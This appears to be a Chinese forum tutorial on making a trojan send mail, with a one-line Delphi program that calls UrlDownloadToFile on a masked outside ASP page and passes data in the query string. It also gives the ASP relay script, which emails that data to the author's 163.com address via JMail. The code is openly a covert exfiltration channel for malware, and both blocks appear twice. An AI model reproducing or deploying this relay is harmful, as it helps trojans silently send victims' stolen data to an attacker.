发邮件的方法多的是.特别对于Delphi这种弱智工具了.能用于发送邮件的控件就N个.但这不在于我们今天的讨论方法.我们今天讲的是木马如何发信.下了很多木马的源代码,发信单元一直不好用(不知是否作者有意隐瞒).你猜对了.这就是Sock.一切木马,后门的基础.但这仍不是今天的讨论范围.今天我们用一句代码搞定发信单元.......当然,,,这肯定少不了ASP的辅助!嘿嘿.
以下是 good.asp 全部代码↓
程序代码
program ASPSendMail;
uses Urlmon;
begin
UrlDownloadToFile(nil, Pchar('http://www.*****.com/good.asp?data=利用服务器发送邮件'), 0, 0, nil);
end.
uses Urlmon;
begin
UrlDownloadToFile(nil, Pchar('http://www.*****.com/good.asp?data=利用服务器发送邮件'), 0, 0, nil);
end.
以下是 good.asp 全部代码↓
程序代码
<%
Dim senddata
senddata=Request("data")
if senddata="" then senddata=Time()
call SendEmail("sebooks@163.com","邮件主题",senddata,"sebooks@163.com")
Sub SendEmail(ToEmail,Subject,Content,FromEmail)
Set jmail = Server.CreateObject("JMAIL.Message")
jmail.silent = true
Jmail.logging = true
jmail.Charset = "GB2312"
jmail.ContentType = "text/html"
jmail.AddRecipient ToEmail
jmail.From = FromEmail
jmail.Subject = Subject
jmail.Body = Content
'jmail.Prority = 1 '邮件的紧急程序，1 为最快，5 为最慢， 3 为默认值
jmail.MailServerUserName = "sebooks" '登录邮件服务器所需的用户名
jmail.MailServerPassword = "嘿嘿,我的密码可不能说" '登录邮件服务器所需的密码
jmail.Send("SMTP.163.com") '执行邮件发送（通过邮件服务器地址）
jmail.Close() '关闭对象
Set jmail=nothing
End Sub
Dim senddata
senddata=Request("data")
if senddata="" then senddata=Time()
call SendEmail("sebooks@163.com","邮件主题",senddata,"sebooks@163.com")
Sub SendEmail(ToEmail,Subject,Content,FromEmail)
Set jmail = Server.CreateObject("JMAIL.Message")
jmail.silent = true
Jmail.logging = true
jmail.Charset = "GB2312"
jmail.ContentType = "text/html"
jmail.AddRecipient ToEmail
jmail.From = FromEmail
jmail.Subject = Subject
jmail.Body = Content
'jmail.Prority = 1 '邮件的紧急程序，1 为最快，5 为最慢， 3 为默认值
jmail.MailServerUserName = "sebooks" '登录邮件服务器所需的用户名
jmail.MailServerPassword = "嘿嘿,我的密码可不能说" '登录邮件服务器所需的密码
jmail.Send("SMTP.163.com") '执行邮件发送（通过邮件服务器地址）
jmail.Close() '关闭对象
Set jmail=nothing
End Sub
+1
赞
赏
分享
